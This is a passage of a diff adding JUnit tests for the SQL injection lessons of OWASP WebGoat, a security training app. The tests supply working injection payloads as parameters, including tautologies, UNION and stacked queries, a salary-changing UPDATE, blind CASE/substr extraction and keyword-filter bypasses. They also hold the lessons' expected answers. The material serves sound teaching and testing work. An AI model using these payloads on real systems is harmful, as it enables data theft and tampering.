.andExpect(jsonPath("$.feedback", containsString(messages.getMessage("assignment.not.solved"))))
|
||||
.andExpect(jsonPath("$.output", is("malformed string: '1''<br> Your query was: SELECT * FROM user_data WHERE" +
|
||||
" first_name = 'John' and last_name = 'Smith' OR '1' = '1''")));
|
||||
}
|
||||
}
|
@ -0,0 +1,95 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.sql_injection.introduction;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import static org.hamcrest.Matchers.containsString;
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
public class SqlInjectionLesson6aTest extends SqlLessonTest {
|
||||
|
||||
@Test
|
||||
public void wrongSolution() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionAdvanced/attack6a")
|
||||
.param("userid_6a", "John"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void wrongNumberOfColumns() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionAdvanced/attack6a")
|
||||
.param("userid_6a", "Smith' union select userid,user_name, password,cookie from user_system_data --"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.output", containsString("column number mismatch detected in rows of UNION, INTERSECT, EXCEPT, or VALUES operation")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void wrongDataTypeOfColumns() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionAdvanced/attack6a")
|
||||
.param("userid_6a", "Smith' union select 1,password, 1,'2','3', '4',1 from user_system_data --"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.output", containsString("incompatible data types in combination")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void correctSolution() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionAdvanced/attack6a")
|
||||
.param("userid_6a", "Smith'; SELECT * from user_system_data; --"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("$.feedback", containsString("passW0rD")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void noResultsReturned() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionAdvanced/attack6a")
|
||||
.param("userid_6a", "Smith' and 1 = 2 --"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.6a.no.results"))));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void noUnionUsed() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionAdvanced/attack6a")
|
||||
.param("userid_6a", "S'; Select * from user_system_data; --"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("$.feedback", containsString("UNION")));
|
||||
}
|
||||
}
|
@ -0,0 +1,53 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.sql_injection.introduction;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
public class SqlInjectionLesson6bTest extends SqlLessonTest {
|
||||
|
||||
@Test
|
||||
public void submitCorrectPassword() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionAdvanced/attack6b")
|
||||
.param("userid_6b", "passW0rD"))
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void submitWrongPassword() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionAdvanced/attack6b")
|
||||
.param("userid_6b", "John"))
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,100 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.sql_injection.introduction;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.CoreMatchers.is;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
/**
|
||||
* @author Benedikt Stuhrmann
|
||||
* @since 11/07/18.
|
||||
*/
|
||||
public class SqlInjectionLesson8Test extends SqlLessonTest {
|
||||
|
||||
@Test
|
||||
public void oneAccount() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack8")
|
||||
.param("name", "Smith")
|
||||
.param("auth_tan", "3SL99A"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.8.one"))))
|
||||
.andExpect(jsonPath("$.output", containsString("<table><tr><th>")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void multipleAccounts() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack8")
|
||||
.param("name", "Smith")
|
||||
.param("auth_tan", "3SL99A' OR '1' = '1"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.8.success"))))
|
||||
.andExpect(jsonPath("$.output", containsString("<tr><td>96134<\\/td><td>Bob<\\/td><td>Franco<\\/td><td>Marketing<\\/td><td>83700<\\/td><td>LO9S2V<\\/td><\\/tr>")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void wrongNameReturnsNoAccounts() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack8")
|
||||
.param("name", "Smithh")
|
||||
.param("auth_tan", "3SL99A"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.8.no.results"))))
|
||||
.andExpect(jsonPath("$.output").doesNotExist());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void wrongTANReturnsNoAccounts() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack8")
|
||||
.param("name", "Smithh")
|
||||
.param("auth_tan", ""))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.8.no.results"))))
|
||||
.andExpect(jsonPath("$.output").doesNotExist());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void malformedQueryReturnsError() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack8")
|
||||
.param("name", "Smith")
|
||||
.param("auth_tan", "3SL99A' OR '1' = '1'"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.output", containsString("feedback-negative")));
|
||||
}
|
||||
}
|
@ -0,0 +1,179 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.sql_injection.introduction;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.CoreMatchers.is;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
/**
|
||||
* @author Benedikt Stuhrmann
|
||||
* @since 11/07/18.
|
||||
*/
|
||||
public class SqlInjectionLesson9Test extends SqlLessonTest {
|
||||
|
||||
private String completedError = "JSON path \"lessonCompleted\"";
|
||||
|
||||
@Test
|
||||
public void oneAccount() throws Exception {
|
||||
try {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
|
||||
.param("name", "Smith")
|
||||
.param("auth_tan", "3SL99A"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.9.one"))))
|
||||
.andExpect(jsonPath("$.output", containsString("<table><tr><th>")));
|
||||
} catch (AssertionError e) {
|
||||
if (!e.getMessage().contains(completedError)) throw e;
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
|
||||
.param("name", "Smith")
|
||||
.param("auth_tan", "3SL99A"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.9.success"))))
|
||||
.andExpect(jsonPath("$.output", containsString("<table><tr><th>")));
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
public void multipleAccounts() throws Exception {
|
||||
try {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
|
||||
.param("name", "Smith")
|
||||
.param("auth_tan", "3SL99A' OR '1' = '1"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.9.one"))))
|
||||
.andExpect(jsonPath("$.output", containsString("<tr><td>96134<\\/td><td>Bob<\\/td><td>Franco<\\/td><td>Marketing<\\/td><td>83700<\\/td><td>LO9S2V<\\/td><\\/tr>")));
|
||||
} catch (AssertionError e) {
|
||||
if (!e.getMessage().contains(completedError)) throw e;
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
|
||||
.param("name", "Smith")
|
||||
.param("auth_tan", "3SL99A' OR '1' = '1"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.9.success"))))
|
||||
.andExpect(jsonPath("$.output", containsString("<tr><td>96134<\\/td><td>Bob<\\/td><td>Franco<\\/td><td>Marketing<\\/td><td>83700<\\/td><td>LO9S2V<\\/td><\\/tr>")));
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
public void wrongNameReturnsNoAccounts() throws Exception {
|
||||
try {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
|
||||
.param("name", "Smithh")
|
||||
.param("auth_tan", "3SL99A"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.8.no.results"))))
|
||||
.andExpect(jsonPath("$.output").doesNotExist());
|
||||
} catch (AssertionError e) {
|
||||
if (!e.getMessage().contains(completedError)) throw e;
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
|
||||
.param("name", "Smithh")
|
||||
.param("auth_tan", "3SL99A"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.8.no.success"))))
|
||||
.andExpect(jsonPath("$.output").doesNotExist());
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
public void wrongTANReturnsNoAccounts() throws Exception {
|
||||
try {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
|
||||
.param("name", "Smithh")
|
||||
.param("auth_tan", ""))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.8.no.results"))))
|
||||
.andExpect(jsonPath("$.output").doesNotExist());
|
||||
} catch (AssertionError e) {
|
||||
if (!e.getMessage().contains(completedError)) throw e;
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
|
||||
.param("name", "Smithh")
|
||||
.param("auth_tan", ""))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.9.success"))))
|
||||
.andExpect(jsonPath("$.output").doesNotExist());
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
public void malformedQueryReturnsError() throws Exception {
|
||||
try {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
|
||||
.param("name", "Smith")
|
||||
.param("auth_tan", "3SL99A' OR '1' = '1'"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.output", containsString("feedback-negative")));
|
||||
} catch (AssertionError e) {
|
||||
if (!e.getMessage().contains(completedError)) throw e;
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
|
||||
.param("name", "Smith")
|
||||
.param("auth_tan", "3SL99A' OR '1' = '1'"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.9.success"))))
|
||||
.andExpect(jsonPath("$.output", containsString("feedback-negative")));
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
public void SmithIsMostEarningCompletesAssignment() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
|
||||
.param("name", "Smith")
|
||||
.param("auth_tan", "3SL99A'; UPDATE employees SET salary = '300000' WHERE last_name = 'Smith"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.9.success"))))
|
||||
.andExpect(jsonPath("$.output", containsString("300000")));
|
||||
}
|
||||
}
|
@ -0,0 +1,102 @@
|
||||
package org.owasp.webgoat.lessons.sql_injection.mitigation;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 5/21/17.
|
||||
*/
|
||||
public class SqlInjectionLesson13Test extends SqlLessonTest {
|
||||
|
||||
@Test
|
||||
public void knownAccountShouldDisplayData() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjectionMitigations/servers")
|
||||
.param("column", "id"))
|
||||
|
||||
.andExpect(status().isOk());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void addressCorrectShouldOrderByHostname() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjectionMitigations/servers")
|
||||
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '104.%' THEN hostname ELSE id END"))
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void addressCorrectShouldOrderByHostnameUsingSubstr() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjectionMitigations/servers")
|
||||
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,1,1) = '1') IS NOT NULL then hostname else id end"))
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjectionMitigations/servers")
|
||||
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,2,1) = '0') IS NOT NULL then hostname else id end"))
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjectionMitigations/servers")
|
||||
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,3,1) = '4') IS NOT NULL then hostname else id end"))
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void addressIncorrectShouldOrderByIdUsingSubstr() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjectionMitigations/servers")
|
||||
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,1,1) = '9') IS NOT NULL then hostname else id end"))
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-dev")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void trueShouldSortByHostname() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjectionMitigations/servers")
|
||||
.param("column", "(case when (true) then hostname else id end)"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void falseShouldSortById() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjectionMitigations/servers")
|
||||
.param("column", "(case when (true) then hostname else id end)"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void addressIncorrectShouldOrderByHostname() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjectionMitigations/servers")
|
||||
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '192.%' THEN hostname ELSE id END"))
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-dev")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void postingCorrectAnswerShouldPassTheLesson() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionMitigations/attack12a")
|
||||
.param("ip", "104.130.219.202"))
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void postingWrongAnswerShouldNotPassTheLesson() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionMitigations/attack12a")
|
||||
.param("ip", "192.168.219.202"))
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
}
|
@ -0,0 +1,33 @@
|
||||
package org.owasp.webgoat.lessons.sql_injection.mitigation;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import static org.hamcrest.Matchers.containsString;
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
public class SqlOnlyInputValidationOnKeywordsTest extends SqlLessonTest {
|
||||
|
||||
@Test
|
||||
public void solve() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlOnlyInputValidationOnKeywords/attack")
|
||||
.param("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("$.feedback", containsString("passW0rD")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void containsForbiddenSqlKeyword() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlOnlyInputValidationOnKeywords/attack")
|
||||
.param("userid_sql_only_input_validation_on_keywords", "Smith';SELECT/**/*/**/from/**/user_system_data;--"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.output", containsString("unexpected token: *<br> Your query was: SELECT * FROM user_data WHERE last_name = 'SMITH';\\\\\\/**\\\\\\/*\\\\\\/**\\\\\\/\\\\\\/**\\\\\\/USER_SYSTEM_DATA;--'")));
|
||||
}
|
||||
}
|
@ -0,0 +1,33 @@
|
||||
package org.owasp.webgoat.lessons.sql_injection.mitigation;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import static org.hamcrest.Matchers.containsString;
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
public class SqlOnlyInputValidationTest extends SqlLessonTest {
|
||||
|
||||
@Test
|
||||
public void solve() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlOnlyInputValidation/attack")
|
||||
.param("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("$.feedback", containsString("passW0rD")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void containsSpace() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlOnlyInputValidation/attack")
|
||||
.param("userid_sql_only_input_validation", "Smith' ;SELECT from user_system_data;--"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", containsString("Using spaces is not allowed!")));
|
||||
}
|
||||
}
|
51
src/test/java/org/owasp/webgoat/lessons/ssrf/SSRFTest1.java
Normal file
51
src/test/java/org/owasp/webgoat/lessons/ssrf/SSRFTest1.java
Normal file
@ -0,0 +1,51 @@
|
||||
package org.owasp.webgoat.lessons.ssrf;
|
||||
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.ssrf.SSRF;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
/**
|
||||
* @author afry
|
||||
* @since 12/28/18.
|
||||
*/
|
||||
@ExtendWith(SpringExtension.class)
|
||||
public class SSRFTest1 extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new SSRF());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
